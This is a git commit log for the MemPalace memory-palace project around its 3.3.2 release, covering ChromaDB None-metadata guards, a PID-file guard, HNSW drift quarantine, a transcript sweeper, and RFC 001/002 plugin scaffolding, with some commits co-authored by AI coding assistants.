217 Commits
Author SHA1 Message Date
Igor Lins e Silva cf0477bfa7 Merge pull request #1052 from MemPalace/merge/main-into-release-3.3.2
release: merge main into release/3.3.2
2026-04-20 15:34:24 -03:00
Igor Lins e Silva 936f1866af release: merge main into release/3.3.2 — keep 3.3.2 version bumps
Conflicts resolved by taking the 3.3.2 side for all version files:
- pyproject.toml, mempalace/version.py (3.3.2)
- .claude-plugin/marketplace.json, .claude-plugin/plugin.json (3.3.2)
- .codex-plugin/plugin.json (3.3.2)
- README.md version badge (3.3.2)
- uv.lock (3.3.2)
- CHANGELOG.md keeps [3.3.2] section on top of main's [3.3.1]

No source-code conflicts; main's 3.3.1 commit footprint is already in
develop's history via the earlier sync boundaries.

1033 tests pass on the merged tree.
2026-04-20 15:21:08 -03:00
Igor Lins e Silva 04e11ae545 Merge pull request #1045 from MemPalace/fix/copilot-review-release-3.3.2
fix: address Copilot review on release/3.3.2
2026-04-20 15:16:20 -03:00
Igor Lins e Silva 65b17a6e0f fix: address Copilot review on release/3.3.2
Non-ASCII glyphs (regression of the #681 class of Windows UnicodeEncodeError):
- mempalace/cli.py: "✗" → "ERROR:", "⚠" → "WARNING:", em dash → "-"
- mempalace/sweeper.py: "⚠" → "WARNING:"

Backend arg validation:
- mempalace/backends/chroma.py: `_normalize_get_collection_args` now
  raises TypeError on unexpected trailing positional args instead of
  silently dropping them — surfaces call-site bugs early.

Docs site:
- website/.vitepress/config.mts: gate Google Analytics scripts behind
  MEMPALACE_DOCS_GA_ID env var (default off). Self-hosters no longer
  get GA injected unconditionally.

Landing page SPA hygiene:
- website/.vitepress/theme/landing/useLandingEffects.js: collect all
  IntersectionObserver disconnects and removeEventListener thunks in a
  shared `cleanups` registry; drain it in `onBeforeUnmount` so observers
  and form/replay listeners don't leak across SPA navigations.
2026-04-19 18:19:28 -03:00
Igor Lins e Silva 5e9451407f release: v3.3.2
Version bumps across pyproject.toml, mempalace/version.py, README badge,
uv.lock, and plugin manifests (.claude-plugin/*, .codex-plugin/*).

CHANGELOG aligned with main (post-3.3.1) and a new [3.3.2] section added
covering the 11 PRs merged on develop since v3.3.1 — silent-transcript-drop
fix + tandem sweeper (#998), None-metadata guards (#999, #1013),
chromadb ≥1.5.4 for Py 3.13/3.14 (#1010), Windows Unicode (#681),
HNSW quarantine recovery (#1000), PID stacking guard (#1023), doc-path
cleanup (#996, #1012), and RFC 001/002 internal scaffolding (#995, #1014, #990).
2026-04-19 16:55:25 -03:00
Ben Sigman 32ec74d8eb Merge pull request #1023 from jphein/pr/pid-file-guard
fix(hooks): PID file guard prevents stacking mine processes
2026-04-18 23:33:47 -07:00
Ben Sigman caf503f442 Merge pull request #1000 from jphein/fix/quarantine-stale-hnsw
feat(backends): quarantine_stale_hnsw — recover from HNSW/sqlite drift (closes #823)
2026-04-18 23:28:00 -07:00
Ben Sigman 62439e1368 Merge pull request #681 from jphein/fix/unicode-checkmark
fix: replace Unicode checkmark with ASCII for Windows encoding (#535)
2026-04-18 23:27:57 -07:00
jpandClaude Opus 4.7 dfba247454 fix: cross-platform PID check — os.kill(pid, 0) TERMINATES on Windows
Real bug surfaced on CI for this PR. On POSIX, os.kill(pid, 0) is
the canonical no-op existence probe. On Windows, Python's os.kill
maps to TerminateProcess(handle, sig), which *terminates* the target
with exit code sig. os.kill(pid, 0) therefore kills the target with
exit code 0 — silently destroying our mine child (or, as happened
in test_mine_already_running_live_pid, the pytest process itself).

Fix: split into _pid_alive(pid) helper with a Windows branch using
ctypes.windll.kernel32.OpenProcess + GetExitCodeProcess.
PROCESS_QUERY_LIMITED_INFORMATION opens a handle only if the PID
exists; STILL_ACTIVE (259) distinguishes running from exited processes.

No new dependencies — stdlib ctypes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 21:30:17 -07:00
jpandClaude Opus 4.7 fe6b8899bc fix: broaden _mine_already_running catch — Windows os.kill raises plain OSError
On Windows, os.kill(bogus_pid, 0) raises OSError[WinError 87]
"The parameter is incorrect" — NOT ProcessLookupError. The old
except tuple missed it, so test_mine_already_running_dead_pid
failed on Windows CI.

Catching OSError covers ProcessLookupError + PermissionError +
FileNotFoundError on POSIX and WinError 87 on Windows. ValueError
still guards the int() parse.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 21:13:37 -07:00
jpandClaude Opus 4.7 a6b6e55247 fix: PID file guard prevents stacking mine processes
Every stop hook fire spawned a new background `mempalace mine` via
subprocess.Popen with no dedup — 4 concurrent mines at ~770% CPU
observed in production. Add `_mine_already_running()` (reads
`hook_state/mine.pid`, uses `os.kill(pid, 0)` as an existence check)
and `_spawn_mine()` (writes the child PID to the lock file after
Popen returns). `_maybe_auto_ingest` bails early when the guard
reports True.

Tests: 4 new unit tests for `_mine_already_running` (no file, dead
PID, live PID using `os.getpid()`, corrupt file), 1 new test
covering the skip-when-running branch of `_maybe_auto_ingest`, and
existing spawn tests patched to redirect `_MINE_PID_FILE` into
tmp_path so they don't touch the real state dir.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-18 20:27:56 -07:00
jp 0c38deaab5 feat(backends): quarantine_stale_hnsw — recover from HNSW/sqlite drift
Add a helper that renames HNSW segment directories whose
`data_level0.bin` is significantly older than `chroma.sqlite3`. Drift
between the on-disk HNSW graph and the live embeddings table is the
root cause of a segfault class where the Rust graph-walk dereferences
dangling neighbor pointers for entries in the metadata segment that no
longer exist in the HNSW index, crashing in a background thread on
`count()` or `query()`.

Issue #823 describes the same drift as a silent-staleness symptom
(semantic search returns stale results after `add_drawer` because
`data_level0.bin` lags the sqlite metadata under the default
`sync_threshold=1000`). Under heavier load or after an interrupted
write, the same drift can escalate from "silent stale results" to
"SIGSEGV on next open," which is the failure mode observed at
neo-cortex-mcp#2 (chromadb 1.5.5, Python 3.12) and acknowledged at
chroma-core/chroma#2594.

On one 135K-drawer palace where `index_metadata.pickle` claimed 137,813
elements against 135,464 rows in sqlite (2,349-entry drift), fresh
Python processes crashed in `col.count()` 17/20 times; after renaming
the segment dir out of the way and letting ChromaDB rebuild lazily, the
same 20-run check went to 0 crashes.

The recovery path #823 suggests (export / recreate / reimport) is heavy
— it re-embeds every drawer. This helper is lighter: rename the segment
dir so ChromaDB reopens without it, and the indexer rebuilds lazily on
the next write. The original directory is renamed (not deleted) so the
operator can recover if the heuristic misfires.

If `chroma.sqlite3` is more than `stale_seconds` (default 3600) newer
than the segment's `data_level0.bin`, the segment is considered
suspect. One hour is deliberately conservative — normal HNSW flush
cadence is seconds to minutes, so an hour of drift implies a crashed
mid-write, not routine lag.

- Additive: exposes `quarantine_stale_hnsw(palace_path, stale_seconds)`
  as a helper. Not wired into `_client()` / startup on this PR — the
  goal is to land the primitive first so operators and higher layers
  can opt in. A follow-up could call it automatically on palace open
  behind an env var or config flag.
- Closes #823 by giving operators a first-class recovery path without
  having to install `chromadb-ops` or re-mine.

Four new tests in `tests/test_backends.py`:
- renames drifted segment, preserves original files under `.drift-TS` suffix
- leaves fresh segments alone
- no-op on missing palace path / missing `chroma.sqlite3`
- skips already-quarantined (`.drift-` suffixed) directories

`pytest tests/test_backends.py` → 11 passed. `ruff check` / `ruff format
--check` — clean.
2026-04-18 18:04:05 -07:00
Igor Lins e Silva 109d7f267c Merge pull request #990 from MemPalace/docs/rfc-source-adapter-plugin-spec
docs: RFC 002 — Source adapter plugin specification
2026-04-18 19:12:20 -03:00
Igor Lins e Silva 66090b2bcb Merge pull request #1014 from MemPalace/refactor/rfc-002-sources-scaffolding
refactor(sources): RFC 002 §9 scaffolding — BaseSourceAdapter, registry, PalaceContext
2026-04-18 18:44:52 -03:00
Igor Lins e Silva 8a130fc509 Merge pull request #1012 from MemPalace/docs/use-real-claude-projects-path-996
docs: use real ~/.claude/projects/ path in first-run help and README (#996)
2026-04-18 18:43:53 -03:00
Igor Lins e Silva 7af3bfae8f Merge pull request #1010 from MemPalace/fix/chromadb-1-5-4-py-3-13-compat-via-581
fix: upgrade chromadb to >=1.5.4 for Python 3.13/3.14 compatibility + fix 1.5.x queue-stall (closes #1006)
2026-04-18 18:43:34 -03:00
Ben Sigman 64266695b5 Merge pull request #1013 from MemPalace/fix/layer3-search-raw-none-guard-1011
fix: guard Layer3.search_raw against None doc/meta from ChromaDB (#1011)
2026-04-18 13:41:55 -07:00
Ben Sigman 1b89b49b78 Merge pull request #999 from jphein/fix/searcher-none-metadata
fix(searcher): guard against None metadata in CLI print path
2026-04-18 13:41:52 -07:00
bensig 49e9e04a12 fix: guard Layer3.search_raw against None doc/meta from ChromaDB (#1011)
Same class of bug as #1007: ChromaDB's query() can return None in the
documents and metadatas arrays when a drawer's HNSW vector entry exists
but its metadata/document rows haven't been materialized. The code in
Layer3.search_raw (mempalace/layers.py) calls meta.get("wing", ...),
meta.get("room", ...), meta.get("source_file", ...) directly without
null safety, so it raises:

  AttributeError: 'NoneType' object has no attribute 'get'

Two-line defensive coercion matching the pattern in #1009 /
PR #999 for searcher.py: meta = meta or {}, doc = doc or "".
The hit still appears with its real distance; source/wing/room
fall back to their fallback values where the metadata row is missing.

Frequently hit on chromadb 1.5.x (root cause #1006). Even after the
chromadb floor lands (#1010), partial-state results remain possible
during interrupted mines and schema upgrade boundaries, so the guard
is worth having on its own.

Fixes #1011.
2026-04-18 13:30:57 -07:00
bensig a2da0d6ef4 docs: use real ~/.claude/projects/ path in first-run help and README (#996)
The CLI help text and README told first-time users to mine from ~/chats/,
a path that doesn't exist on any machine. Real location where Claude
Code writes session JSONL is ~/.claude/projects/<escaped-project-path>/.

Updates three user-visible strings:
- mempalace/cli.py line 7 ("Two ways to ingest" block)
- mempalace/cli.py line 25 (Examples block)
- README.md line 58 (Quickstart)

Website guides (website/guide/mining.md, getting-started.md) still
reference ~/chats/ for ChatGPT/Slack export scenarios where that remains
a valid placeholder. Those can be a separate PR if the maintainers want
to tilt the website examples toward Claude Code specifically.

Fixes #996.
2026-04-18 13:30:50 -07:00
Igor Lins e Silva 89904ed03f fix(sources): address Copilot review on #1014
Five findings from the automated review, fixed with targeted tests where
behavior changed:

1. Transformation Protocol (transforms.py). The registry mixed a bytes-to-str
   transform (utf8_replace_invalid) with str-to-str transforms under a single
   Callable[..., str] type, misleading static type checkers and adapter
   authors. Introduced a Transformation Protocol with __call__(data: bytes|str)
   -> str and retyped the registry + get_transformation return.

2. Drawer-id collision risk (context.py). Switched _build_drawer_id from
   sha1[:16]=64 bits to sha256[:24]=96 bits. 64 bits sits uncomfortably
   close to the birthday bound for palace-sized corpora; 96 bits keeps the
   collision probability negligible while preserving the existing
   <prefix>_<chunk> layout adapters rely on.

3. Fresh-schema KG columns (knowledge_graph.py). source_drawer_id and
   adapter_name now live in the canonical CREATE TABLE so new palaces don't
   take an ALTER round-trip on first open. _migrate_schema stays for legacy
   palaces (SQLite has no ADD COLUMN IF NOT EXISTS, so PRAGMA introspection
   is still needed there).

4. Identity-shim comment (transforms.py). Comment said the adapter-specific
   transforms "raise if invoked without adapter context" but they return
   the input unchanged. Updated the comment to match the actual identity-
   shim behavior Copilot suggested.

5. Test docstring (test_sources.py). Comment mentioned default_factory=list
   but SourceRef.options uses default_factory=dict. Corrected.

Tests: 1020 passed (up from 1018), +2 new tests for the sha256 id shape
and the fresh-schema column presence on new palaces.
2026-04-18 17:17:50 -03:00
jp 3f0cfd5ed4 fix(mcp): guard tool_status/list_wings/list_rooms/get_taxonomy against None metadata
Four more MCP handlers iterate a metadata list and call m.get(...)
unconditionally. When the cache contains a None entry (drawers with no
metadata, common on older mining paths), the try block catches the
AttributeError and marks the response "partial: true" with an
error message — visible as {"error": "'NoneType' object has no
attribute 'get'", "partial": true} returned from mempalace_status even
though the palace data is otherwise fetchable.

Same m = m or {} guard we applied to searcher.py (d3a2d22, a51c3c2)
and miner.status() (66f08a1). None-metadata drawers now roll up under
the existing "unknown" fallback bucket instead of poisoning the
response with a misleading partial flag.

Regression test: mock the metadata cache with a None in the middle,
assert tool_status returns clean counts and no error/partial fields.
Verified the test fails without the guard.

998 tests pass.
2026-04-18 12:38:23 -07:00
Legion345 fa7fe1d51f chromadb at <2 to guard against breaking changes in future major versions 2026-04-18 12:05:46 -07:00
Legion345 d0c8ecd847 fix: upgrade chromadb to >=1.5.4 for python 3.13/3.14 compatibility 2026-04-18 12:05:46 -07:00
Igor Lins e Silva 552e9927b7 refactor(sources): RFC 002 §9 scaffolding — BaseSourceAdapter, registry, PalaceContext
Lands the read-side contract so third-party adapter authors (@Perseusxrltd,
@JakobSachs, @adv3nt3, @zendesk-thittesdorf, @mfhens, @roip, @MrDys) have a
stable target matching what RFC 001 §10 landed on the write side in #995.

Scope (this PR):

- mempalace/sources/base.py: BaseSourceAdapter ABC with kwargs-only
  ingest() / describe_schema() and default is_current() / source_summary()
  / close() (§1.1–1.2). Typed records: SourceRef, SourceItemMetadata,
  DrawerRecord, RouteHint, SourceSummary, AdapterSchema, FieldSpec (§1.3,
  §5.2). Error classes: SourceNotFoundError, AuthRequiredError,
  AdapterClosedError, TransformationViolationError, SchemaConformanceError
  (§2.7). Class-level identity contract: name / adapter_version /
  capabilities / supported_modes / declared_transformations /
  default_privacy_class (§2.1, §1.4, §1.5, §6).

- mempalace/sources/transforms.py: reference implementations of the 13
  reserved transformations (§1.4) — utf8_replace_invalid, newline_normalize,
  whitespace_trim, whitespace_collapse_internal, line_trim, line_join_spaces,
  blank_line_drop — as pure functions, plus identity shims for the six
  adapter-specific ones (strip_tool_chrome, tool_result_truncate,
  tool_result_omitted, spellcheck_user, synthesized_marker,
  speaker_role_assignment) that the conversations adapter will override
  when migrated. get_transformation(name) resolves by reserved name.

- mempalace/sources/registry.py: entry-point discovery via
  importlib.metadata.entry_points(group="mempalace.sources") + explicit
  register()/unregister() surface (§3.1–3.2). resolve_adapter_for_source()
  implements the §3.3 priority order; crucially, no auto-detection on the
  read side (§3.3 is explicit about that — user intent never inferred from
  on-disk artifacts).

- mempalace/sources/context.py: PalaceContext facade (§9) bundling the
  drawer/closet collections, knowledge graph, palace path, adapter identity,
  and progress hooks core passes into adapter.ingest(). upsert_drawer()
  applies the spec-mandated adapter_name/adapter_version stamps from §5.1.
  skip_current_item() signals laziness; emit() dispatches to hooks and
  swallows hook exceptions.

- mempalace/knowledge_graph.py: add_triple() gains optional source_drawer_id
  and adapter_name kwargs (§5.5). Backwards-compatible column migration
  auto-adds the new columns on open of a pre-RFC 002 palace (PRAGMA
  table_info then ALTER TABLE ADD COLUMN), matching the pattern used for
  any new palace-side provenance fields.

- pyproject.toml: mempalace.sources entry-point group declared. Empty on
  the first-party side for now — miners migrate in a follow-up; the group
  being present means third-party packages can begin registering today.

Out of scope (explicit follow-ups):

- miner.py → mempalace/sources/filesystem.py. Behavior-preserving rename
  that also moves READABLE_EXTENSIONS, detect_room(), detect_hall() into
  the adapter (§9). Larger refactor; lands separately.
- convo_miner.py + normalize.py → mempalace/sources/conversations.py. The
  format-detection if-chain in normalize.py becomes per-format plugins;
  declared_transformations enumerates what the current pipeline already
  does to source bytes (§1.4 existing-code mapping).
- Closet post-step wired into the conversations adapter (§1.7).
- CLI --source flag + --mode deprecation alias (§3.3).
- MCP mempalace_mine tool source parameter.
- AbstractSourceAdapterContractSuite (§7.1–7.3): byte-preservation round-
  trip and declared-transformation round-trip tests.
- Privacy-class floor enforcement (§6.2); depends on #389 for
  secrets_possible scanning.

Tests: 1018 passed (up from ~990 on develop), +27 targeted tests covering
the ABC instantiation rules, typed records, all reserved transformations,
the registry register/get/unregister surface, PalaceContext upsert + skip +
emit semantics, and both the new KG provenance kwargs and backwards-
compatible legacy-schema migration.

Refs: #989 (RFC 002 tracking), #990 (RFC 002 spec), #995 (RFC 001 §10
cleanup — sibling PR on the write side).
2026-04-18 16:05:32 -03:00
Igor Lins e Silva 2b9f17c401 Merge pull request #995 from MemPalace/refactor/rfc-001-cleanup
refactor(backends): RFC 001 §10 cleanup — typed results, PalaceRef, registry
2026-04-18 15:56:12 -03:00
jp 7690574dde fix(searcher): guard API path + closet loop against None metadata too
Per Copilot review on the CLI-only PR (#999): search_memories() has the
same vulnerability in two additional spots, since ChromaDB can return
None entries in the inner metadatas list for either the drawer query or
the closets query. Without guards, the API path crashes with:

    AttributeError: 'NoneType' object has no attribute 'get'

at either \`cmeta.get("source_file", "")\` in the closet boost lookup or
\`meta.get("source_file", "") or ""\` in the drawer scoring loop.

Applies the matching \`meta = meta or {}\` / \`cmeta = cmeta or {}\`
guard at both sites and adds an API-path regression test that mocks a
drawer query result with a None metadata entry and asserts both hits
render — the None-metadata hit with the existing \`"unknown"\` sentinel
values the scoring loop already writes for missing keys.

Verified both the new API test and the existing CLI test fail without
the guards (AttributeError) and pass with them.
2026-04-18 10:37:05 -07:00
jp feba7e8043 fix(miner): same None-metadata guard for status() histogram loop
`status()` walks `col.get(include=["metadatas"])` and buckets each drawer
into a `wing_rooms[wing][room]` histogram. The same ChromaDB return shape
fixed in the search print path — `None` entries in the `metadatas` list
for drawers with no stored metadata — crashes the status command with:

    AttributeError: 'NoneType' object has no attribute 'get'

Applies the matching ``m = m or {}`` guard so None-metadata drawers roll
up under the existing `?/?` fallback bucket instead of killing the
command mid-tally. Reproduced on a 135K-drawer palace where two drawers
had `metadata=None`; both now show under `WING: ? / ROOM: ?` in the
tally while the command prints the full histogram as designed.

Adds a regression test that feeds `status()` a fake collection whose
`get()` returns a `None` in the middle of the metadatas list and asserts
both the fallback bucket and the real wing render.
2026-04-18 10:26:11 -07:00
jp a3c778210b fix(searcher): guard against None metadata in CLI print path
`col.query(...)` can return `None` entries in the inner ``metadatas`` list
for drawers whose metadata was never set (older palaces, rows written
outside the normal mining path). The CLI `search()` function would render
earlier results successfully and then crash mid-loop with:

    AttributeError: 'NoneType' object has no attribute 'get'

at ``searcher.py:286`` — ``meta.get("source_file", "?")``. The user sees
partial output followed by a traceback, with no indication of which
drawers rendered OK and which were skipped.

Guard with ``meta = meta or {}`` inside the loop so entries with missing
metadata fall back to the existing ``"?"`` defaults instead of crashing,
matching the hit dict assembly in ``search_memories()`` which already
uses ``meta.get("wing", "unknown")`` etc. against the same data.

Adds a regression test that mocks a ChromaDB result with a ``None``
metadata entry in the middle of the inner list and asserts both result
blocks render to stdout.
2026-04-18 10:00:59 -07:00
Igor Lins e Silva efaa39bea9 test(backends): dedup update-length-validation tests
24bf97b (network-download fix) and my earlier Copilot-review commit both
added tests for the same ValueError. Keep the broader one that covers
both 'documents length' and 'metadatas length' mismatches; drop the
narrower duplicate.
2026-04-18 13:53:46 -03:00
Igor Lins e Silva 61dd6e7d9c test(backends): fix Windows file-lock in cache-invalidation test
PermissionError [WinError 32] on Windows when Path.unlink() runs while
chromadb.PersistentClient still holds a handle on chroma.sqlite3. Rewrite
test_chroma_cache_invalidates_when_db_file_missing to prime
backend._clients/_freshness with a sentinel object instead of opening a
real PersistentClient, so the unlink runs against an unheld file.

The assertion is also corrected: after invalidation, ChromaBackend's
_client rebuilds a fresh PersistentClient which re-creates chroma.sqlite3
and re-stats it, so freshness ends up at the post-rebuild stat (not
(0, 0.0) as the assertion previously expected). The meaningful invariant
is "freshness advanced past the pre-unlink value AND the sentinel was
replaced", which the test now checks.

Ref: Windows CI failure on 995.
2026-04-18 13:52:56 -03:00
Igor Lins e Silva 74a31b70d3 Merge pull request #998 from MemPalace/fix/silent-transcript-drop
Fix silent transcript drop: .jsonl ingestion + 500 MB cap + tandem sweeper
2026-04-18 13:38:02 -03:00
copilot-swe-agent[bot]andigorls 24bf97bb65 fix(tests): avoid ONNX network download in update-length validation tests
test_base_collection_update_default_validates_list_lengths and
test_base_collection_update_default_rejects_mismatched_lengths were
spinning up a real ChromaBackend and calling add(documents=...), which
triggered ChromaDB's default ONNX embedding function and attempted a
network download — failing in offline/sandboxed CI.

BaseCollection.update() validates list lengths before any DB access, so
no items need to be pre-loaded for the length-check to fire. Switch both
tests to use _FakeCollection (same as the rest of the unit tests in this
file) so they are pure in-memory and network-free.

Also fixes a structural bug in test 1: collection._collection.add() was
accidentally placed inside the pytest.raises(ValueError) block, masking
the real assertion.

Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/55fc663e-b256-4b8b-88ce-4271560def8d

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-18 16:23:58 +00:00
Igor Lins e SilvaandMSL 4a088ea8e1 Address Copilot review: cursor tie-break, honest metrics, accurate comments
Six items from the automated review on PR #998:

1. **Cursor tie-break bug (correctness).** The skip condition was
   `rec.timestamp <= cursor`; if multiple messages share the max
   timestamp and only some were ingested before a crash, the rest
   would be lost forever. Changed to `< cursor`, relying on
   deterministic drawer IDs for safe re-attempt at the boundary.
   Regression test
   `test_sweep_recovers_untaken_message_at_cursor_timestamp`.

2. **`drawers_added` counted upserts, not adds.** Added a pre-flight
   `collection.get(ids=batch)` to distinguish new rows from already-
   present ones. Return value now carries `drawers_added`,
   `drawers_already_present`, `drawers_upserted`, and `drawers_skipped`
   separately. Dict-compatible access (`existing.get("ids")`) keeps it
   working on both the raw Chroma return and the typed `GetResult`.

3. **`sweep_directory` hid failures in the summary.** `files_processed`
   used to exclude failed files. Replaced with `files_attempted` (all
   discovered) + `files_succeeded` (subset that completed); CLI output
   shows `succeeded/attempted`.

4. **Coordination claim was overstated.** The primary miners don't
   stamp `session_id`/`timestamp` metadata, so the sweeper coordinates
   only with its own prior runs. Softened docstrings on module and CLI
   command. Uniform cross-miner metadata is flagged as a follow-up.

5. **MAX_FILE_SIZE comments were misleading.** Said source size "does
   not affect storage or embedding cost" — true per-drawer, but source
   size still scales drawer count, embedding work, and memory usage
   (files are read in full, not streamed). Corrected in both
   `miner.py` and `convo_miner.py`.

6. Added the tie-break regression test that reproduces the correctness
   bug from (1).

Tests: 970 passed (was 969), ruff + pre-commit clean.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-18 13:22:18 -03:00
Igor Lins e Silva 42b940d263 fix(backends): address Copilot review on #995
Four defects surfaced by the automated review, fixed with targeted tests:

1. BaseCollection.update() default now validates that documents / metadatas /
   embeddings lengths match ids, raising ValueError instead of silently
   misaligning pairs or raising IndexError (base.py).

2. ChromaCollection.query() now rejects the two ambiguous input shapes up
   front — neither or both of query_texts / query_embeddings, and empty input
   lists — with clear ValueError messages rather than delegating to chromadb's
   less-obvious errors (chroma.py).

3. QueryResult.empty() accepts embeddings_requested=True to preserve the
   outer-query dimension with empty hit lists when the caller asked for
   embeddings, matching the spec rule that included fields carry the outer
   shape even when empty (base.py). ChromaCollection.query() threads this
   through on the empty-result path (chroma.py).

4. ChromaBackend cache-freshness check now matches the semantics from
   mcp_server._get_client (merged via #757) on three edge cases Copilot
   called out: (a) invalidate when chroma.sqlite3 disappears while a cached
   client is held, (b) treat a 0→nonzero stat transition as a change so a
   cache built when the DB did not yet exist is refreshed, (c) re-stat
   after PersistentClient constructs the DB lazily so freshness reflects
   the post-creation state (chroma.py).

Tests: 978 passed (up from 970), 8 new tests covering the fixes.
2026-04-18 13:19:18 -03:00
Igor Lins e SilvaandMSL 29ce7c7135 Harden sweeper for production: verbatim tool blocks, full session_id, logged failures
Four changes on top of the proposal's initial sweeper draft, driven by
the CLAUDE.md design principles:

1. Drop the 500-char truncation on tool_use / tool_result content in
   _flatten_content. The "verbatim always" principle forbids lossy
   compression of user-adjacent data; a long code-edit diff handed to
   the assistant must round-trip intact. Unknown block types now also
   serialize their full payload instead of just a type marker. New test
   test_parse_preserves_tool_blocks_verbatim covers a 5000-char input.

2. Use the full session_id in drawer IDs (not session_id[:12]). Rules
   out cross-session collisions if a transcript source ever uses
   non-UUID session identifiers or shared prefixes.

3. Replace silent `except Exception: return None` in get_palace_cursor
   with a logger.warning — the exact anti-pattern this PR otherwise
   criticizes in miner.py. The fallback behavior is still safe
   (deterministic IDs make a missed cursor recover on the next run),
   but the failure is now discoverable.

4. sweep_directory now collects per-file failures into the result dict
   and the CLI exits non-zero when any file failed, so a partial-sweep
   outcome is visible rather than swallowed.

Co-Authored-By: MSL <232237854+milla-jovovich@users.noreply.github.com>
2026-04-18 13:14:32 -03:00
MSLandClaude Opus 4.7 fed69935d3 Add tandem sweeper: message-level safety net for dropped transcripts
The primary miners (miner.py, convo_miner.py) operate at file
granularity and can drop data for several reasons: size caps, silent
OSError on read, dedup false positives, extensions the project miner
does not recognize. Even with tonight's hotfixes, any future bug in
the file-level path risks silent data loss.

The sweeper is a second, cooperating miner that works at MESSAGE
granularity:

  - Parses Claude Code .jsonl line by line, yielding only
    user/assistant records (filters progress, file-history-snapshot,
    etc. noise).
  - For each session_id, queries the palace for max(timestamp) and
    treats that as the cursor.
  - Ingests only messages newer than the cursor, as one small drawer
    per exchange (never hits a size cap — each drawer is 1-5 KB).
  - Deterministic drawer IDs from session_id + message UUID make
    reruns idempotent; crash mid-sweep is safe.

Tandem coordination is free: if the primary miner committed up to
timestamp T, the sweeper resumes from T. If the primary miner missed
everything, the sweeper catches it all. Neither duplicates the other.

Smoke test on a real Claude Code transcript:
  1st run: +39 drawers, 0 already present
  2nd run: +0 drawers, 39 already present  (perfect idempotence)

Opt-in via:
  mempalace sweep <file.jsonl>
  mempalace sweep <transcript-dir>

No changes to existing miners. No schema migration. Purely additive.

Tests: tests/test_sweeper.py (7 tests covering parsing, tandem
coordination, idempotency, resume-from-cursor, metadata correctness).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:06 -03:00
MSLandClaude Opus 4.7 6f33d52681 Raise convo_miner MAX_FILE_SIZE cap 10 MB → 500 MB
Mirrors the miner.py fix in this same branch. convo_miner.py had the
exact same 10 MB cap at line 58 that silently dropped long transcripts
via continue. Long Claude Code sessions, multi-year ChatGPT exports,
and lifetime Slack dumps all exceed 10 MB. Same silent-drop pattern,
different file.

Raised to 500 MB to match miner.py for consistency; downstream chunking
means source file size does not affect storage or embedding cost.

Tests: tests/test_convo_miner_size_cap.py (1 test)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:01 -03:00
MSLandClaude Opus 4.7 d137d12313 Raise MAX_FILE_SIZE cap from 10 MB to 500 MB
Long Claude Code sessions routinely produce transcripts larger than 10
MB. The previous cap at miner.py:65 silently dropped them at line 732
with `if filepath.stat().st_size > MAX_FILE_SIZE: continue` — same
silent-failure pattern as the .jsonl extension bug.

The cap exists as a safety rail against pathological binaries, not as
a limit on legitimate text. Downstream chunking at 800 chars per drawer
means source file size does not affect storage or embedding cost.

500 MB leaves headroom for year-long continuous transcripts while still
catching accidental multi-GB binary mines.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:01 -03:00
MSLandClaude Opus 4.7 560fdbdc9f Fix silent drop of .jsonl files in project miner
mempalace/miner.py:READABLE_EXTENSIONS contained `.json` but not
`.jsonl`. Every jsonl file encountered in a mined directory was
silently skipped at miner.py:722:

    if filepath.suffix.lower() not in READABLE_EXTENSIONS:
        continue

Claude Code transcripts, ChatGPT exports, and every other tool writing
line-delimited JSON ship as `.jsonl`. Users running `mempalace mine`
against a directory of transcripts saw the command complete with no
error and no log line — and their conversations never reached the
palace. Silent data loss.

Adding `.jsonl` to the whitelist alongside `.json`. jsonl is text
line-by-line; the existing chunking pipeline handles it the same way
it handles any other text file.

Tests: tests/test_miner_jsonl_visibility.py

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-18 12:52:01 -03:00
Igor Lins e Silva a17a8b734a refactor(backends): typed QueryResult/GetResult, PalaceRef, BaseBackend registry (RFC 001 §10)
Advances RFC 001 §10 cleanup so backend-author PRs (#574 LanceDB, #665 Postgres,
#700 Qdrant, #697 hosted, #643 PalaceStore, #381 Qdrant) have a stable target
to align against.

Scope (this PR):

- Typed QueryResult / GetResult dataclasses replace Chroma's dict shape at
  the BaseCollection boundary (§1.3). A transitional _DictCompatMixin keeps
  existing callers working while the attribute-access migration proceeds.
- BaseCollection is now kwargs-only across add/upsert/query/get/delete/update
  with ABC defaults for estimated_count/close/health and a non-atomic default
  update() (§1.1–1.2).
- PalaceRef replaces raw path strings at the backend boundary (§2.2).
- BaseBackend ABC with get_collection/close_palace/close/health/detect (§2.3).
- mempalace.backends entry-point group + in-tree registry with
  resolve_backend_for_palace priority order matching §3.2–3.3.
- ChromaCollection normalizes chroma returns into typed results; unknown
  where-clause operators raise UnsupportedFilterError (no silent drop, §1.4).
- ChromaBackend absorbs the inode/mtime client-cache freshness check
  previously duplicated in mcp_server._get_client() (§10 + PR #757).
- searcher.py migrated to typed-attribute access as the reference call
  site; remaining callers land in a follow-up.
- pyproject: chroma registered via [project.entry-points."mempalace.backends"].

Out of scope (explicit follow-ups):

- Full caller migration off the dict-compat shim across palace.py,
  mcp_server.py, miner.py, convo_miner.py, dedup.py, repair.py, exporter.py,
  palace_graph.py, cli.py, closet_llm.py.
- Embedder injection + three-state EmbedderIdentityMismatchError check (§1.5).
- maintenance_state() / run_maintenance() benchmark hooks (§7.3).
- AbstractBackendContractSuite full coverage (§7.1–7.2).
- mempalace migrate / mempalace verify CLI rewrites through BaseCollection (§8).

Tests: 970 passed (up from 967 on develop); new coverage for typed results,
empty-result outer-shape preservation, \$regex rejection, registry lookup,
priority resolver, and PalaceRef-kwarg ChromaBackend.get_collection.

Refs: #743 (RFC 001), #989 (RFC 002 tracking issue).
2026-04-18 12:45:16 -03:00
bensig 41d45d9336 docs: RFC 002 — source adapter plugin specification
Draft plugin specification for source adapters, mirroring RFC 001's
role for storage backends. Formalizes the contract six community
ingester PRs (#274, #23, #169, #232, #567, #98, #702) plus #981's
metadata-only mode have been reinventing ad-hoc, so adapter authors
